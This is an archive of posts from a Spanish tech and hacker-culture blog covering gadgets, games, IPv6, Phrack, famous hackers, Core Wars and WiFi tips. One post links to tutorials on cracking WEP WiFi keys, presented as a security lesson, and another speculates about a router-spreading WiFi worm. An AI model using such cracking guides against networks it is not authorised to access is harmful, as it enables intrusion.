                Si os gusta la literatura fantástica y los juegos de rol, te aconsejo que eches un vistazo a alguno de estos, te gustará.

                www.cyberhades.com

                Crispin Cowan se pasa a Microsoft

                

                Parece que está de moda dejar el mundo Linux para pasarse a "El lado del mal" como le gusta llamarlo a nuestro amigo Chema Alonso ;)

                http://elladodelmal.blogspot.com/2008/01/spectra-se-refuerza-en-el-mercado-de.html

                Web:

                http://crispincowan.com/~crispin/

                Crispin Cowan creó una distro de Linux llamada "Immunix" reforzada para resistir ataques por parte de código malintencionado o por crackers. El caso es que paseando por su Web, he visto una gran variedad de documentos sobre temas de seguridad muy pero que muy interesantes (también hay capítulos de algunos libros suyos).

                Por ejemplo este:

                http://crispincowan.com/~crispin/discex3_autonomix_defcon.pdf

                Un pdf sobre Defcon’s Capture the Flag (CtF) explicando cómo sobrevivir a este juego de hackers. Muy interesante.

                www.cyberhades.com

                Teléfono móvil con cámara y Bluetooth usado como …

                Pues sí, según un equipo de investigación inglés, un teléfono móvil cualquiera con cámara puede ser usado como si fuera un ratón en 3D.

                http://technology.newscientist.com/channel/tech/dn13187-cameraphone-used-to-control-computers-in-3d.html

                El funcionamiento es relativamente sencillo (sin necesidad de software externo) y los resultados son parecidos al Wiimote de la Wii (según el artículo). Se conecta por Bluetooth el móvil y entonces el ordenador sabe hacia donde apunta la cámara en todo momento, usando referencias y marcas en la pantalla del monitor puede hacer cálculos tridimensionales cada vez que mueves el móvil.

                El límite de oro en el World of Warcraft es de ...

                

                Todos los que hemos jugado al fantástico (pero peligrosamente adictivo) World of Warcraft, sabemos que el oro es fundamental para poder llegar a conseguir objetos, monturas, etc ...

                Bueno pues un jugador (no quiero ni imaginar la de horas que habrá echado) del WOW ha llegado a un supuesto límite en el oro:

                214.748 de oro, 36 de plata y 48 de cobre

                (toma castaña)

                Una captura con la imágen del jugador (no es de un servidor pirata):

                http://www.wowinsider.com/media/2008/01/691k3knjwh.jpg

                (puedes ver arriba el mensaje "At Gold Limit")

                Artículo original:

                http://www.wowinsider.com/2008/01/16/apparently-you-can-have-too-much-gold/

                Posiblemente los chicos de Blizzard nunca pensaron que alguien fuera capaz de jugar tantas horas/días/años seguidos al WOW como para llegar a esta cantidad (si has jugado alguna vez, sabrás que tener más de 5.o00 de oro ya es tela de horas para conseguirlo) ... pero no saben hasta donde es capaz de llegar un jugado adicto al WOW.

                Nota: este juego ya ha superado los 9 millones de jugadores en todo el mundo,

                Modera el WOW o puedes acabar como nuestros amigos de South Park XD :

                (creo que falta otra parte del video, te aconsejo que lo busques porque es espectacular)

                www.cyberhades.com

                Revistas gratuitas PDF en la red

                

                Existen muchas publicaciones interesantes que hacen una revista mensual, habitualmente en PDF.

                Algunos sitios donde existen índices muy completos a revistas:

                http://www.pdf-mags.com/index.php

                (este es el mejor enlace, revistas de todo tipo)

                http://www.spotbit.com/main/index.php

                http://www.mediatico.com/es/contenido/revistas.asp

                Algunos enlaces a revistas interesantes:

                Revista para usuarios de Linux, muy completa y actualizada.

                http://fullcirclemagazine.org/

                Revista dedicada sobre todo a gadgets tecnológicos:

                http://www.spotbit.com/main/magazine.php?&prod=175

                Linux Magazine, estupenda revista, tiene algunos artículos gratuitos en:

                http://www.linux-magazine.es/Magazine/Archive

                Ya podremos más ;)

                www.cyberhades.com

                Los peligros de un nuevo posible gusano que se …

                

                Antes de nada, definición de "worm" ó "gusano"

                http://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico

                Un grupo de científicos de la Universidad de Indiana han estado simulando el posible comportamiento de un hipotético gusano que se pudiera propagar por las WiFi de todo el mundo, saltando de router a router. Han usado como modelo siete ciudades Norteamericanas y mostrando la evolución del gusano en 24h. Como ejemplo, en la simulación con Nueva York, 18.000 routers fueron infectados en 2 semanas.

                Artículo original:

                http://www.spectrum.ieee.org/jan08/5877

                Y lo más interesante de este gusano es su funcionamiento, ya que no necesitaría de los ordenadores para poder saltar de una red a otra, ya que utilizaría el mismo router. Una de las posibles formas de infectar un router sería a través de su firmware (ojo con esto, una vez en el firmware estaría alojado en la misma electrónica del aparato), aprovechando cualquier vulnerabilidad de estos, ya que no es habitual actualizarlos por parte del usuario. Una vez infectado el router, podría empezar a usar técnicas de data mining para recopilar todo el tráfico en dicha WiFi, como podría ser contraseñas, web visitadas, pulsación de teclas, etc ... Imagináos el control absoluto de la red por parte de un virus alojado en el router, no hay antivirus, no sería detectable, vería todo el tráfico de red ...

                Por supuesto si la red está totalmente desprotegida, el gusano podría saltar sin problema ampliando su rango de acción e infectando otros routers (esto sería fácil ya que cada vez hay más redes WiFi concentradas en las ciudades). Si la contraseña es WEP o una WPA con una contraseña débil, podría usar ataques de fuerza bruta con diccionarios para poder acceder a dicha red.

                Este artículo habla de un tema muy interesante ya que este tipo de virus pueden ser una amenza real en poco tiempo. Ya creo que es posible hacer un tipo de gusano que se propague por WiFi's (supongo que alguno habrá) y que infectara un ordenador en la misma. Una vez infectado buscaría otras redes abiertas o que pudiera romper la contraseña para saltar y así continuar con su infección y su viaje por las redes del mundo. O incluso más potente, un virus gusano "híbrido", que pudiera a la vez propagarse por Internet y por las WiFi que pudiera infectar.

                www.cyberhades.com

                Cómo llegar a Mordor ...

                

                Muy bueno XD

                http://ooblick.com/text/tomordor/

                www.cyberhades.com

                Toma Sudoku en ensamblador ...

                

                Me he quedado "flipao" al ver el código en esamblador de un Sudoku ... me ha llevado a mis tiempos cuando intentaba hacer algunas líneas de ensamblador ...

                Nuevo enlace.

                Aplausos para el programador, el codigo es muy claro y se entiende bastante bien. Comentarios del código en Catalán.

                www.cyberhades.com

                Nueva serie: &quot;Flight of the conchords&quot;

                

                Os recomiendo el estupendo análisis de Hernán Casciari:

                http://blogs.elpais.com/espoiler/2008/01/desde-nueva-zel.html

                Un aperitivo:

                Estupenda serie, sobre todo recomendada para mis amigos Luis y Manolo ;) ... ah y por supuesto a Javi, aunque le gustaría más "Californication"

                www.cyberhades.com

                Nueva sorpresa de Apple, el &quot;MacBook …

                

                Estos de Apple no paran, hoy se ha presentado por 1.799$ (casi unos 1.800 €) el MacBook Air:

                http://www.elmundo.es/navegante/2008/01/15/tecnologia/1200420141.html

                http://www.apple.com/macbookair/

                Increible, 1,2 kg de peso, Core 2 Duo a 1,8 ó a 1,6 Ghz, 80 Gb de disco duro ... mejor léelo en los enlaces que te pasamos.

                www.cyberhades.com

                Optimizando búsquedas en Google

                

                Ya queríamos hablar sobre este tema (aunque ya se ha hablado mucho), y en el BytePodcast ví este enlace a un vídeo sobre una demostración de como bajar mp3 y otros ficheros directamente usando Google:

                En este enlace puedes ver los operadores avanzados para búsquedas en Google:

                http://www.google.com/help/operators.html

                Plantilla con los mismos comandos:

                http://www.google.com/help/cheatsheet.html

                Como &quot;crackear&quot; redes WEP (enlace de …

                

                Como he dicho antes, este enlace lo he visto en el BytePodcast número 97.

                Ya pusimos una entrada sobre la seguridad en redes WiFi:

                http://sh-cyberhades.blogspot.com/2007/11/tuneando-y-asegurando-la-red-wifi.html

                Ahora vamos a ver cómo podríamos acceder a una red WiFi con WEP.

                Bueno he profundizado en el link un poco y vaya, es el mejor tutorial que he visto para romper las contraseñas WEP en WiFi (en inglés estos tres enlaces con el original y luego os pongo un enlace con un resumen en castellano):

                Parte 1 - Configuración y preparando las herramientas

                http://www.tomsguide.com/us/how-to-crack-wep,review-451.html

                Parte 2 - Realizando el "crack"

                http://www.tomsguide.com/us/how-to-crack-wep,review-459.html

                Parte 3 - Ahora vamos a asegurar nuestra LAN

                http://www.tomsguide.com/us/how-to-crack-wep,review-471.html

                Un resúmen en español:

                http://www.deltablog.com/2005/05/19/como-descifrar-una-clave-wep-en-3-minutos/

                Otros enlaces con más información:

                http://servomac.blogspot.com/2006/09/crackear-redes-wifi-con-wep_20.html

                http://www.hispasec.com/unaaldia/2398

                Bueno recuerda, este contenido NO ES PARA QUE APRENDAS A CRACKEARLAS, es justo para lo contrario, que sepas cómo asegurar tu WiFi viendo lo fácil que es conseguir romper la seguridad WEP, que tristemente, venimos sufriendo por parte de todos los operadores nacionales, que sólo te instalan la WiFi con WEP cuando solicitas una WiFi ...

                Os pongo un caso, le configuro a una amiga una WiFi con WPA, con restricción de acceso por MAC y el SSID oculto, todo funciona perfectamente hasta que un día tienen un problema llega el listillo de turno de la operadora (ojo, no son todos, algunos) , y dice con dos cojones que eso esta mal configurado, que es mejor reiniciar el router y poner seguridad WEP y ya está ... toma castaña ... pues nada se iría tranquilo a casa y todo el chaval. Esta actitud viene dada principalmente porque algunos routers (sobre todo los Motorola) tienen problemas de configuración WPA (o simplemente no pueden, como por ejemplo un Windows XP sin SP2) cuando utilizas el gestor de WiFi que viene por defecto con Windows.

                Desde aqui te aconsejamos que para usar seguridad WPA y configurar tu tarjeta de red en casa, utilices el software y los drivers nativos de la misma, por ejemplo, si es Intel, puedes ir a la página principal busca tu modelo, y baja el software de gestión WiFi para tu tarjeta.

                www.cyberhades.com

                Byte Podcast, lo recomendamos

                

                Acabo de oir el BytePodcast número 97 y como siempre (hace tiempo que lo escucho) , es ameno, divertido y muy útil, tanto que las dos siguientes entradas del blog las he sacado de comentarios que he oido en este podcast (gracias compañeros).

                http://www.arroba.com.mx/byte/blog/

                Desde Cyberhades os recomendamos este podcast hecho en la ciudad de Méjico por David Ochoa.

                El contenido es variado, desde Linux, nuevos gadgets, noticias, etc, en definitiva el mundo geek … en media hora.

                Nosotros ya estamos enganchados ;)

                Un abrazo a nuestros hermanos y amigos de América.

                Optimus Maximus, ¿un teclado de 462 $?

                

                Pues sí, un teclado que parece normal, pero tiene en cada tecla una pequeña pantalla "LCD" o mejor dicho OLED donde podemos programar lo que queremos que aparezca en ellas ... XD que pasada. Incluso podrías programar animaciones, imágenes, etc ...

                LLeva una SD para almacenar tus configuraciones y un software bastante potente para programarlo, sirve para Mac y Windows.

                http://www.artlebedev.com/everything/optimus/

                Y un video para ver como cambia la configuración de las teclas:

                Puede parecer poco útil pero creo que vamos a oir bastante de él en el futuro …

                El escritorio personal de algunos grandes de los …

                

                ¿Quieres saber qué tiene encima de la mesa de su escritorio Sid Meier?

                ¿ó Richard Garriott?

                Vamos a echar un vistazo a las habitaciones de algunos genios de los videojuegos:

                (Sid Meier)

                http://kotaku.com/photogallery/sidmeier/1000467345

                (Richard Garriott)

                http://kotaku.com/photogallery/richardgarriottwp/1000468788

                si quieres verlos todos:

                http://kotaku.com/343590/work-and-play-a-peek-inside-the-lives-of-gamings-greatest

                Este es mi favorito:

                http://kotaku.com/photogallery/randypitchford/1000467032

                fijaros en la colección de videoconsolas que tiene en las estanterías de las paredes XD

                www.cyberhades.com

                Apple, historias asombrosas, iPhone y Newton

                He leido en Alt2040:

                http://alt1040.com/archivo/2008/01/10/la-historia-no-contada-del-iphone/

                una historia muy interesante sobre el secretismo del desarrollo del famoso iPhone. Este es el enlace al artículo original en Wired, es muy recomendable leer ambos:

                http://www.wired.com/gadgets/wireless/magazine/16-02/ff_iphone?currentPage=1

                en el que entre otras anécdotas sabrás que sólo unas 30 personas sabían como era el proyecto en el que estaban trabajando y que lo vieron por primera vez en la MacWolrd 2007, incluso había personal trabajando en proyectos falsos para despistar XD …

                IPV6 tutoriales, podcasts y documentación

                No voy a explicar qué es el IPV6 porque existen páginas y podcasts que lo explican perfectamente, sólo voy a dar una pequeña introdución.

                Actualmente usamos IPV4 que son las actuales direcciones IP del tipo clase A, B, C, D y (E) como por ejemplo: 192.168.1.2 ó 80.34.23.12 ... etc. Son direcionamientos de 32 bits (4 bytes) . Esto se está quedando corto y pronto necesitaremos más direcciones IP (en los próximos 2 años nos quedaremos sin IP libres). En IPV6 son de 128 bits, y cambia el formato ahora se escriben: 2001:0db8:85a3:08d3:1319:8a2e:0370:7334 , ocho grupos de dígitos hexadecimales. Con IPV4 podemos crear hasta 4.294.967.296 (2^32) direcciones IP, y con la IPV6 podemos hasta 340.282.366.920.938.463.463.374.607.431.768.211.456 (2128 ó 340 sextillones)

                Si te interesa el tema, ahora te recomiendo que leas y escuches lo siguiente:

                Podcasts:

                Magnífica explicación desde el "El Geek Errante" sobre IPV6, explicado a un nivel de iniciación y luego más avanzado. Muy recomendable (podcast número 26).

                http://elgeekerrante.com/ege-podcast-ep26/

                Recursos Web:

                http://es.wikipedia.org/wiki/Ipv6

                http://www.consulintel.es/Html/ForoIPv6/Documentos/Tutorial%20de%20IPv6.pdf

                http://www.ipv6.org/

                www.cyberhades.com

                Phrack magazine, clásica revista hacker / phreaker

                Me he llevado una grata sorpresa al ver que la gran revista Phrack sigue viva. Mi amigo DuenD y yo la conocemos bastante bien desde los tiempos de descarga de las BBS y sobre todo en la sala de terminales de la Universidad ;). Eso si, sigue manteniendo su formato sólo texto.

                Este es el índice del último número publicado para que veáis el nivel de los artículos

                Current issue : #64 Introduction The Circle of Lost Hackers Phrack Prophile of the new editors The Circle of Lost Hackers Phrack World News The Circle of Lost Hackers A brief history of the Underground scene Duvel Hijacking RDS TMC traffic information signal lcars & danbia Attacking the Core: Kernel Exploitation Notes twiz & sgrakkyu The revolution will be on YouTube gladio Automated vulnerability auditing in machine code Tyler Durden The use of set_head to defeat the wilderness g463 Cryptanalysis of DPA-128 sysk Mac OS X Wars - A XNU Hope nemo Hacking deeper in the system scythale The art of exploitation: Autopsy of cvsxpl Ac1dB1tch3z Know your enemy: Facing the cops Lance Remote blind TCP/IP spoofing klm Hacking your brain: The projection of consciousness keptune International scenes Various

                Nuestra lista de top cinco hackers, en la ficción …

                Esta es nuestra selección particular de "black hat hackers" o hackers malos, tanto en la ciencia ficción como en la realidad...

                Vamos por los cinco en el mundo real:

                NOTA: no quiere decir que sean los mejores, de hecho la lista podría ser interminable, es mi particular selección basada en sus hazañas y en la repercusión mediática.

                1) Robert Tappan Morris: creador del famoso gusano "Morris", el primero de Internet. Aunque fue casi un accidente, ya que lo único que Morris quería era ver hasta donde podría llegar su gusano (pulsa en este enlace si quieres saber más sobre el virus), este se copiaba de ordenador en ordenador a través de Internet demasiado despacio, creando una especie de DOS (denegación de servicio) llegado a colapsar miles de ordenadores la mayoría pertenecientes a organismos oficiales, militares y universidades. Este colapso fue debido básicamente a que no se borraba de cada equipo que infectaba, con lo cual al detectar otro equipo para copiarse, llegaba a llenarse de copias del mismo. Le damos el honor de ser el primero en la lista, por ser el primer creador de un virus en Internet. Actualmente trabaja como profesor en el famoso MIT.

                 

                2) Karl Koch. Antes de nada, te recomiendo que veas la película "23" que está basada su vida (no es totalmente real pero es entretenida). Fijaros en la tremenda vida de este chico: obsesionado con el libro "The Illuminatus" y absoluto creyente de las conspiraciones escritas en el mismo, adicto a la cocaina, paranoico total, y para colmo involucrado en un incidente de espionaje en plena guerra fría (fue acusado de pasar información secreta de EEUU a la KGB). Uf!

                3) Jonathan James. El primer menor enviado a prisión por hacking, cuando tenía 16 años. Instaló una puerta trasera en la Agencia de Defensa Americana (y sus aliados), con la cual podía espiar emails, nombre de empleados/usuarios y contraseñas. También entró en los ordenadores de la NASA donde robó algunos programas valorados en 1,7 millones de dólares y la cual fue forzada a apagar todo su sistema informático causando un coste económico enorme. Su nick era “c0mrade”. Hoy trabaja en una compañía de seguridad.

                4) Boris Floricic (más conocido como “Tron”). Este hacker y phreaker alemán murió bajo unas circustancias un poco extrañas en 1998 la cual ha llevado a una larga lista de posibles conspiraciones relacionadas con su muerte. Rompió la seguridad de las tarjetas telefónicas alemanas e incluso creó clones de las mismas. También logró piratear la TV de pago. El era un componente del famoso CCC. En su proyecto fin de carrera, desarrolló un teléfono digital con encriptación en tiempo real, llamado “Cryptophon”. La causa oficial de su muerte fue el suicidio, pero su familia, los miembros de CCC y otros muchos piensan que pudo ser asesinado por “molestar” a miembros de la Agencia de Inteligencia Alemana o incluso al crimen organizado.

                5) Kevin Mitnick: otro chico malo, que fue a prisión por diversos delitos informáticos, se le aisló del resto de presos y se le prohibió realizar llamadas telfónicas por lo peligroso que podría ser con un teléfono XD . Existe un libro llamado “Takedown” repudiado por la comunidad hacker, sobre todo por la comunidad de 2600 , pero es entretenido (de la película mejor ni hablamos). Echa un vistazo a los enlaces de la Wikipedia. El caso más conocido y el que llevó a su captura fue al entrar en el ordenador de Tsutomu Shimomura, experto en seguridad, pulsa este enlace para saber más sobre la historia:

                http://www.gulker.com/ra/hack/

                Y ahora vamos con nuestro top cinco de la ciencia ficción:

                1) David Lightman, “Juegos de Guerra” (1983). El gran icono hacker de los 80 ¿qué era más espectacular que hackear los ordenadores del Gobierno Norteamericano y estar a punto de provocar una guerra termonuclear?. Creo que la he visto como 20 veces y he leido el libro también. Tiene toda esa ambientación ochentera de la tecnología, los videojuegos, el adolescente listo pero poco comunicativo pero brillante que cambia sus notas del colegio, etc … aunque se pone un poco pesada a mitad de la misma, es bastante interesante debido al a temática hacker y también de inteligencia artificial.

                 

                2) Kevin Flynn, Tron (1982). Fabulosa película, sobre un programador al que le roban su proyecto de videojuego y tiene que hackear el ordenador central de su empresa para poder recuperarlo. Y claro, el protagonista es también un buen prototipo hacker, genio, le encantan los videojuegos, etc ...

                 

                3) Equipo de hackers de "Los fisgones" (1992). Vale, no es un hacker, son varios, pero no podía nombrar a uno solo. Esta película tiene todos los ingredientes relacionados con la cultura hacker posibles.

                4) Thomas 'Neo' Anderson, "Matrix" (1999). El "superhacker" por excelencia, ya que hackear a las propias máquinas que dominan el mundo en las dos realidades de Matrix es bastante hardcore ;) . Escena sublime música de Massive Attack, Neo dormido encima del teclado ... realmente espectacular.

                5) Los Pistoleros Solitarios (The lone Gunmen), Serie “Expediente X”. Siempre que Mulder o Scully necesitaban información del Gobierno, acudían a los pistoleros. Tres hackers en diferentes áreas, estaban perseguidos por el Gobierno por sus contínuas intrusiones en sus sistemas buscando conspiraciones.

                Bueno, espero que os guste.

                Nuevo parche para iPhone que bloquea de nuevo los …

                

                ¡Uf! parece que Apple no cede, no quiere que nadie le toque su juguetito ... ahora parece ser la que la nueva versión del firmware 1.1.3 podría "bloquear" (otros dicen que "inutilizar") todos los iPhone modificados así como todo el software instalado que no sea de Apple ... esto ya lo hacía la versión 1.1.1 sobre todo si tenías el anySIM o iUnlock , pero ahora parece que será más violento a la hora de convertir en un ladrillo/pisapeles tu iPhone

                Por lo visto se hará especial incapié en inutilizar el famoso jailbreak

                Visto en "El Mundo" y en Gizmodo:

                http://www.elmundo.es/navegante/2008/01/03/tecnologia/1199352367.html?a=6362f35b9e5a3597ef523b03eef46b41&t=1199401851

                http://gizmodo.com/338948/

                Bueno, hagan sus apuestas señores, yo digo que Apple no está en el camino adecuado ... y que al final cederá.

                www.cyberhades.com

                La Wii hackeada en el 24C3 ...

                

                Parece que la Nintendo Wii ya no tiene ningún secreto que guardar ...

                Ahora lo que se ha conseguido es ejecutar código "homebrew" o "hecho en casa" en la Wii pero con la diferencia que este código aprovecha todas las posibilidades hardware de la videconsola (cosa que antes no se podía hacer, excepto en modo Game Cube).

                Han conseguido obtener las claves de encriptación/desencriptación que utiliza la Wii (por ejemplo, son las claves que encriptan la información que envía el mando wiimote) , haciendo volcados de memoria a través de un dispositivo diseñado por ellos que trabaja por el puerto serie. Al saber estas claves, es totalmente posible hacer juegos utilizando toda la potencia del hardware de la Wii, tanto 3D como Wiimote's.

                De momento no hay mucha información técnica disponible, pero suponemos que prontó la habrá.

                Estaremos atentos ... ;)

                http://nintendo-scene.com/812

                www.cyberhades.com

                Firefox 2 ya disponible

                

                Ya está disponible la nueva versión del gran navegador Firefox:

                http://www.mozilla-europe.org/es/products/firefox/

                Algunas nuevas características bastante interesantes (sobre todo la de "Restaurar Sesión"):

                Navegación con pestañas mejorada

                Restaurar sesión, para evitar perder lo que estabas haciendo en la web (pe: un formulario)

                Corrector ortográfico

                Sugerencias de búsqueda

                Canales (RSS)

                Títulos dinámicos

                Protección antiphishing

                Código abierto, más seguro

                Limpiar información privada

                etc ...

                Descargando Firefox ...

                www.cyberhades.com

                Windows XP SP3 disponible

                

                Ya puedes descargarlo en:

                http://www.microsoft.com/downloads/details.aspx?familyid=75ed934c-8423-4386-ad98-36b124a720aa&displaylang=en

                www.cyberhades.com

                Bill Gates &amp; Steve Ballmer, DA DA DA

                www.cyberhades.com

                ¡Feliz 7D8!

                www.cyberhades.com

                101 cosas que no quieres que diga tu administrador …

                

                Voy a postear los 11 primeros, el resto (en inglés) puedes verlos en:

                http://www.geek24.com/g/101-things-you-dont-want-your-system-administrator-to-say

                1. Uh, Oh

                2. ¡Mierda!

                3. ¿Qué demonios ...?

                4. Vamos tráeme tu cinta de backup. ¿Tienes cinta de backup verdad?

                5. Esto es TAAAAAAN extraño ...

                6. Wow, parece como si ...

                7. ¡Hey!, los "sun" no hacen esto

                8. ¿Terminado?

                9. ¿Qué licencia de Software?

                10. Bien, está haciendo algo ...

                11. Wow, que rápido

                ....

                Muy bueno, alguno de nosotros seguro que las hemos dicho alguna vez ... ;)

                www.cyberhades.com

                24C3 desde &quot;El Geek Errante&quot;, #4 y final

                

                Última transmisión de futur3 desde el 24C3, sólo nos queda agradecerle toda la información que nos ha facilitado.

                http://elgeekerrante.com/24c3-4/

                www.cyberhades.com

                24C3 desde &quot;El Geek Errante&quot;, #3

                

                Seguimos con futur3, entrega número 3 del 24C3

                http://elgeekerrante.com/24c3-3/

                www.cyberhades.com

                Core Wars

                

                Las "Core Wars" (ó RedCode) son programas escritos en una variante propia de ensamblador, donde luchan por ocupar la mayor parte de la memoria para así, eliminar al programa oponente. Se habló por primera vez de las CoreWars en un artículo de la revista "Investigación y Ciencia" de 1988, por A.K. Dewdney (en el enlace puedes ver el artículo original en inglés).

                ( DEWDNEY, A. K. Artículo: JUEGOS DE ORDENADOR, en: Investigación y Ciencia. No. 145, 1988. )

                Para nosotros tiene mucho atractivo desde hace tiempo, DuenD y yo hemos pasado algunas horas haciendo programitas y simulando batallas usando el MARS (programa que simula el campo de batalla, si pulsas en el enlace verás varias páginas donde descargarlo).

                Es todo un simulador de vida artificial, ya que una vez creado el código y ejecutado, tienes que programarlo lo mejor posible para que sobreviva dentro del campo de batalla haciendo varias operaciones, como reproducirse, saltar entre posiciones, eliminarse, etc ... sin ninguna acción exterior. Ni que decir tiene que también son una especie de "virus" ... en un entorno controlado.

                Antes de nada, vamos a ver un poco como es el campo de batalla. Los programas no saben donde termina/empieza la memoria MARS. La posición de memoria "0" no es la primera, es donde está el código del programa, la siguiente será la "1", la "-1" será una posición atrás, etc ... La unidad básica de cada posición de memoria (o sea el contenido) es una instrucción (p.e.: MOV 0 1 ). En el ejemplo, la instrucción consta de una operación (MOV), una dirección de origen (0) y una de destino (1). En el ejemplo, MOV 0 1 copiaría el contenido de la posición de memoria "0", en este caso "MOV 0 1" a la posición "1", o sea, la siguiente posición, resumiendo, esta instrucción se copia a sí misma de una posición a otra en cada ejecución del programa. Y hablando de ejecución, MARS ejecuta sólo una instrucción DE CADA PROGRAMA en cada ciclo. Por ejemplo, si el programa A tiene una sola instrucción y el programa B tiene 3 instrucciones este sería el proceso de ejecución:

                Ciclo 1: Instrucción 1 PROGRAMA A

                Ciclo 2: Instrucción 1 PROGRAMA B

                Ciclo 3: Instrucción 1 PROGRAMA A

                Ciclo 4: Instrucción 2 PROGRAMA B

                Ciclo 5: Instrucción 1 PROGRAMA A

                Ciclo 6: Instrucción 3 PROGRAMA B

                Vamos a ver un ejemplo de programa "CoreWar" (por cierto, a los programas se les suele llamar "guerreros"):

                Guerrero "Trasgo" ó "Imp" (creo) (el más básico de todos):

                MOV 0 1

                Así de simple, es el de antes, simplemente se irá copiando en cada posición consecutiva de memoria hasta que logre eliminar al programa contrario.

                ´

                Guerrero "Enano" ó "Dwarf":

                ADD #4, 3

                MOV 2, @2

                JMP -2

                DAT #0, #0

                Este ya es más complejo, sólo comentar que cuando un número lleva delante el # quiere decir que hace referencia al número en sí, no al contenido de la dirección. En el ejemplo, ADD #4 , 3 implica sumar el número 4 al contenido de la posición de memoria 3, en nuestro caso al ser un DAT #0, #0 (DAT asigna el valor 0 al contenido de la misma posición de memoria), quedaría como DAT #0, #4 ... es un poco complejo al principio pero puedes ver una buena explicación en:

                http://vyznev.net/corewar/guide.html

                Voy a ver si pico a DuenD y a NOP para jugar de nuevo a las Core y publicaremos nuestros guerreros y nuestros resultados.

                Sólo pretendo dar una pequeña guía de iniciación con este artículo, si el tema os parece interesante no dudéis en mandarnos un email o escribir algún comentario para ampliar el tema.

                www.cyberhades.com

                Un poco de magia ;) , David Chesterfield

                Este video me lo comentó mi amigo “Laque” en una cena (a ver si nos vemos más) XD , es muy bueno …

                www.cyberhades.com

                24C3 desde &quot;El Geek Errante&quot;, #2

                

                Seguimos con nuestro amigo futur3 su visita al 24C3 (que envidia)

                http://elgeekerrante.com/24c3-2/

                Gracias por la información compañeros, estamos muy atentos, nunca hemos estado tan cerca del CCC.

                www.cyberhades.com

                ¿Harto de no resolver el cubo de Rubik?

                www.cyberhades.com

                24C3 desde &quot;El Geek Errante&quot; ...

                

                El 24C3 es un evento de hackers / hacking organizado por el famoso CCC que se celebra en Berlin.

                ... Y nuestros amigos de "El Geek Errante" han infiltrado a futur3 en dicho evento ;)

                Vamos a seguir sus pasos, no dudéis en visitar:

                http://elgeekerrante.com/24c3-1/

                www.cyberhades.com

                Guía 2007 de programas gratuitos y aplicaciones …

                

                Después de este parón navideño ;) ya estamos de vuelta.

                Y directo desde la magnífica 86400 y desde LifeHacker:

                http://86400.es/2007/12/27/la-guia-2007-de-programas-gratuitos-y-aplicaciones-web/

                en inglés, fuente original:

                http://lifehacker.com/software/feature/lifehackers-2007-guide-to-free-software-and-webapps-334568.php

                Magnífica lista de programas gratuitos Mac, windows y Linux

                Pronto volveremos. Un saludo y felices fiestas.

                www.cyberhades.com

                Gregory Colbert, para relajarse un rato ...

                

                Nuestro amigo Juan Antonio ;) nos ha enviado este enlace

                http://www.ashesandsnow.org/

                La belleza plástica de esta web es impresionante. Como nos comenta Juan Antonio, "Son parte de la Colección de imágenes de un cineasta y fotógrafo canadiense, -Gregory Colbert-, en las que seres humanos y animales establecen una relación de aires casi fantásticos"

                A disfrutarla...

                www.cyberhades.com

                Angel of Death 8-BIT Version

                Que lo disfruteis!!

                www.cyberhades.com

                Mejora el alcance de tu WIFI

                

                Este articulo complementa el publicado por Cybercaronte sobre wifis seguras hace algun tiempo.

                Muchas veces nos encontramos con que la cobertura de nuestra wifi es insuficiente para algunas estancias de nuestra casa, y más hoy en dia con la cantidad de interferencias, telefonos Dect, transmisores A/V y sobre todo las otras Wifis del vecindario. Es bastante comun que al explorar el numero de redes inhalambricas desde nuestra casa, la lista sea bastante larga. Os voy a contar un poco más en profundidad un par de trucos para mejorar vuestra cobertura.

                En primer lugar bajaros este programa NetStumbler, con el podreis ver las redes inhalambricas que teneis al alcance. Fijaros que cada una tiene un canal, y la potencia a la que os llega. Elegir vuestro futuro canal teniendo en cuenta que este libre, no haya otra red en un canal adyacente inmediatamente superior e inferior (para evitar solapamientos).

                Por ejemplo imaginaros que tenemos wifis cercanas en los canales 3 , 4, 6, 8, 9 y 10, la mejor opción seria los canales 1, 12 y 13. Y de estos tres preferentemente el más bajo, el 1.

                Si se diera el caso de que no hay un canal libre sin que esten los adyacentes también, elegiremos uno en el que los adyacentes nos lleguen con menos fuerza y menor cantidad de redes.

                Luego sólo teneis que entrar en vuestro router y cambiar este parametro por el nuevo.

                Otro parametro que nos puede hacer ganar unos dB es cambiar el modo 802.11 a "b only" lo cual nos limitara la velocidad a 11 Mbps (teóricos siempre) en lugar de los 54 Mbps (más teóricos aún) que nos ofrece el modo "g". Si sólo utilizamos la wifi para internet este cambio de velocidad no nos debería afectar para nada.

                Otra opción es cambiar las antenas de nuestro router por otras de otro tipo/ganacia. O también podemos fabricarnos una casera. Las hay para todos los gustos y con diferentes objetos (tarteras de cds, botes de aceitunas, Coca-cola, Pringles, caceloras, etc).

                Una muy sencilla de la cual ya vimos un video en el articulo de cybercaronte, y con buen resultado ya que la he probado, está en esta página, donde teneis hasta las plantillas para imprimiroslas y recortar. Son unos reflectores que acoplados a nuestras omnidireccionales del router nos harán ganar unos 10 dB convirtiéndolas en direccionales con unos recortes de cartón y papel de plata. Yo me hice dos y os aseguro que funcionan de maravilla.

                Os animo a que comenteis vuestros experimentos.

                www.cyberhades.com

                Dos retrojuegos míticos, versión PC y gratuitos

                

                Qué decir sobre estos tres juegos, os pongo un enlace donde podéis bajaros los juegos completos y gratuitos para jugar en el PC en Windows, no es un emulador, están adaptados al PC:

                Manic Miner

                Enlace Wikipedia para saber más del juego:

                http://en.wikipedia.org/wiki/Manic_Miner

                Y para descárgartelo versión PC:

                http://www.retrospec.sgn.net/game-overview.php?link=mm

                Jet Set Willy

                Para saber más del juego: http://es.wikipedia.org/wiki/Jet_Set_Willy http://en.wikipedia.org/wiki/Jet_Set_Willy

                Y para bajártelo:

                http://www.retrospec.sgn.net/game-overview.php?link=jsw

                Estos juegos marcaron una época, yo me pasé horas y horas delante de sobre todo el Manic Miner, al final llegué al final pero creo que ahora no sería capaz de hacerlo de nuevo.

                Hay más juegos en la página por si quieres bajártelos:

                http://www.andynoble.co.uk/games.htm

                www.cyberhades.com

                Tocando los bowlings

                Via Carlos Blanco, vemos una interesante forma de tocarlos en el reino animal.

                How Do A Kitten Peeve A Dog ? Very Funny - video powered by Metacafe

                www.cyberhades.com

                Accesos seguros desde máquinas virtuales

                

                Hay un eterno debate sobre la forma más segura para hacer operaciones bancarias, compras, etc ... NOP y yo lo comentábamos ayer, una buena forma de acceder al banco o para hacer transacciones seguras, podría ser una máquina virtual.

                Por ejemplo, usaremos la gratutita de Microsoft VirtualPC:

                http://www.microsoft.com/downloads/details.aspx?displaylang=es&FamilyID=04d26402-3199-48a3-afa2-2dc0b40a73b6

                (también puedes usar el VMWare, etc ...)

